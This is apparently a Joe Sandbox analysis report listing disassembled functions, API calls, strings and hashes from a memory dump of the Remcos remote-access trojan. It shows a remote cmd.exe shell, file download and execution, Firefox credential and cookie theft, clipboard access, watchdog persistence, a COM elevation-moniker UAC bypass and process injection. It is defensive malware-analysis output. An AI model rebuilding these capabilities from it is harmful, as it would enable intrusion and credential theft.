                                            • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                                            Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Window$ForegroundText
                                            • String ID:
                                            • API String ID: 29597999-0
                                            • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                                            • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                                            • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                                            • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                                            Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                                            • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                            • String ID:
                                            • API String ID: 806969131-0
                                            • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                                            • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                                            • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                                            • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                                            Function 004500D4 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00445AF3: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000), ref: 00445B34
                                            • _free.LIBCMT ref: 00450140
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap_free
                                            • String ID:
                                            • API String ID: 614378929-0
                                            • Opcode ID: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
                                            • Instruction ID: a633634cbf7549e5c455a263606fb7810d0d6e042387cb83ce13a77316281608
                                            • Opcode Fuzzy Hash: fdbd8fd48d54792b4aab90f4371f9c4c5731c6c52bc699df08f3ae970cc02b1f
                                            • Instruction Fuzzy Hash: 67014E761007449BE3218F59D881D5AFBD8FB85374F25061EE5D4532C1EA746805C779
                                            Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __alldvrm
                                            • String ID:
                                            • API String ID: 65215352-0
                                            • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                                            • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                                            • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                                            • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                                            Function 00445AF3 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004482CA,00000001,00000364,?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000), ref: 00445B34
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
                                            • Instruction ID: e1e4bc9e3ed5bc60ab2f969cc6486aa84e060793a1580145f61584a75d3ee698
                                            • Opcode Fuzzy Hash: c045d3e2a3584f06f9c551ababd1bb43ae743c3abb802e5b049e03d8e1594b29
                                            • Instruction Fuzzy Hash: 9DF09031600D6967BF316A229C06B5BB749EB42760B548027BD08AA297CA38F80186BC
                                            Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap
                                            • String ID:
                                            • API String ID: 1279760036-0
                                            • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                            • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                                            • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                            • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                                            Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Startup
                                            • String ID:
                                            • API String ID: 724789610-0
                                            • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                                            • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                                            • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                                            • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                                            Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: send
                                            • String ID:
                                            • API String ID: 2809346765-0
                                            • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                                            • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                                            • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                                            • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                                            Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: recv
                                            • String ID:
                                            • API String ID: 1507349165-0
                                            • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                                            • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                                            • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                                            • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725

                                            Non-executed Functions

                                            Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetEvent.KERNEL32(?,?), ref: 00407CB9
                                            • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                                            • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                              • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                                              • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                                              • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                                              • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                                              • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                              • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                              • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                                            • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                                            • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                                            • DeleteFileA.KERNEL32(?), ref: 00408652
                                              • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                              • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                              • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                              • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                            • Sleep.KERNEL32(000007D0), ref: 004086F8
                                            • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                                              • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                            • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                            • API String ID: 1067849700-181434739
                                            • Opcode ID: 1ff92908fb735a07688bd7b3bf3bf23fdc0ca7871faa2f0198a6c16e2433a594
                                            • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                                            • Opcode Fuzzy Hash: 1ff92908fb735a07688bd7b3bf3bf23fdc0ca7871faa2f0198a6c16e2433a594
                                            • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                                            Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __Init_thread_footer.LIBCMT ref: 004056E6
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • __Init_thread_footer.LIBCMT ref: 00405723
                                            • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                                            • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                            • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                            • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                            • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                                            • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                                            • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                                            • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                            • CloseHandle.KERNEL32 ref: 00405A23
                                            • CloseHandle.KERNEL32 ref: 00405A2B
                                            • CloseHandle.KERNEL32 ref: 00405A3D
                                            • CloseHandle.KERNEL32 ref: 00405A45
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                            • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                            • API String ID: 2994406822-18413064
                                            • Opcode ID: 4cf14b19ad4f1a50ef4e69f7ada5f02e3acfdea048b49c70ac55160503c0ddf4
                                            • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                                            • Opcode Fuzzy Hash: 4cf14b19ad4f1a50ef4e69f7ada5f02e3acfdea048b49c70ac55160503c0ddf4
                                            • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                                            Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcessId.KERNEL32 ref: 00412106
                                              • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                              • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                              • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                                            • OpenMutexA.KERNEL32 ref: 00412146
                                            • CloseHandle.KERNEL32(00000000), ref: 00412155
                                            • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                                            • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                            • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                            • API String ID: 3018269243-13974260
                                            • Opcode ID: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                                            • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                                            • Opcode Fuzzy Hash: cf8836db070dde1e79f7b372f7e703d1748ead536f5279adb044898871b6b780
                                            • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                                            Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                                            • FindClose.KERNEL32(00000000), ref: 0040BBC9
                                            • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                                            • FindClose.KERNEL32(00000000), ref: 0040BD12
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$CloseFile$FirstNext
                                            • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                            • API String ID: 1164774033-3681987949
                                            • Opcode ID: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                                            • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                                            • Opcode Fuzzy Hash: a7abc2cbee64d590697779d9a46801e96057498aa45ff5fe343c94ad28998e44
                                            • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                                            Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenClipboard.USER32 ref: 004168C2
                                            • EmptyClipboard.USER32 ref: 004168D0
                                            • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                                            • GlobalLock.KERNEL32 ref: 004168F9
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                                            • SetClipboardData.USER32 ref: 00416938
                                            • CloseClipboard.USER32 ref: 00416955
                                            • OpenClipboard.USER32 ref: 0041695C
                                            • GetClipboardData.USER32 ref: 0041696C
                                            • GlobalLock.KERNEL32 ref: 00416975
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                            • CloseClipboard.USER32 ref: 00416984
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                            • String ID: !D@
                                            • API String ID: 3520204547-604454484
                                            • Opcode ID: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                                            • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                                            • Opcode Fuzzy Hash: 6c018320e5b0d2cabe6153e6df3be29feb4b7020e0ff09a9ecc452abf36931f7
                                            • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                                            Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                                            • FindClose.KERNEL32(00000000), ref: 0040BDC9
                                            • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                                            • FindClose.KERNEL32(00000000), ref: 0040BEAF
                                            • FindClose.KERNEL32(00000000), ref: 0040BED0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Find$Close$File$FirstNext
                                            • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                            • API String ID: 3527384056-432212279
                                            • Opcode ID: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                                            • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                                            • Opcode Fuzzy Hash: 48f1059577fb6fb3e12f81dcccae54fa1aae2825fed048d23a83c2489a6cdfe4
                                            • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                                            Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                                            • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                                            • CloseHandle.KERNEL32(00000000), ref: 0040F563
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                            • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                            • API String ID: 3756808967-1743721670
                                            • Opcode ID: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                                            • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                                            • Opcode Fuzzy Hash: 8520e54c90e73ae769b9472ab5acef4e7d13580ea560d925ff866fcf30e94af2
                                            • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                                            Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: 0$1$2$3$4$5$6$7$VG
                                            • API String ID: 0-1861860590
                                            • Opcode ID: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                                            • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                                            • Opcode Fuzzy Hash: 6e6c7a448708c07855854a0ebdca304f9e0347beed71fdd78d4df1a7a8a0f9ff
                                            • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                                            Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                            Download Yara Rule
                                            APIs
                                            • _wcslen.LIBCMT ref: 00407521
                                            • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Object_wcslen
                                            • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                            • API String ID: 240030777-3166923314
                                            • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                                            • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                                            • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                                            • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                                            Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                                            • GetLastError.KERNEL32 ref: 0041A7BB
                                            • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                            • String ID:
                                            • API String ID: 3587775597-0
                                            • Opcode ID: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                                            • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                                            • Opcode Fuzzy Hash: 79deda2eaf5389e9881e5cc6274fd0cbf241d84606103934df9ee54e93fb00d6
                                            • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                                            Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                                            • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                                            • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                                            • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                                            • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                                            • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                                            Strings
                                            Memory Dump Source
